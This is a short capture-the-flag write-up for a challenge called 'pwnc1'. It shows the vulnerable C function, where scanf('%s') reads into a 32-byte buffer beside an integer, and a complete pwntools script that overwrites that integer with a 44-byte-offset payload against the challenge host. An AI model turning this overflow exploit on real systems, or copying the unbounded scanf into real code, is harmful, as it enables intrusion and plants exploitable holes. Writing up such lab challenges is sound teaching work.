# pwnc1
{% hint style="danger" %}
My blog has migrated to ! This Gitbook will no longer be maintained.
{% endhint %}
> A vulnerable program could you lead to the flag.
>
> By: @4nimanegra
{% file src="" %}
{% file src="" %}
```
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
```
A simple variable overwrite challenge, source code being given definitely makes this way easier.
```c
void pwnme(){
int number;
char name[32];
number=0;
printf("Insert your name: ");
scanf("%s",name);
printf("Welcome home %s\n",name);
if(number == 8){
print_flag();
}
exit(0);
}
```
Find the offset using gdb until the if statement happens:
Offset was 44 bytes which allowed me to easily create an overwrite:
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: winterbitia -*-
# ====================
# -- PWNTOOLS SETUP --
# ====================
from pwn import *
exe = context.binary = ELF(args.EXE or 'pwn')
trm = context.terminal = ['tmux', 'splitw', '-h']
host = args.HOST or '130.206.158.146'
port = int(args.PORT or 42011)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
# =======================
# -- EXPLOIT GOES HERE --
# =======================
io = start()
offset = 44
target_value = 0x8
payload = flat({
offset: target_value
})
io.clean()
io.sendline(payload)
log.info(io.recvline())
io.interactive()
```
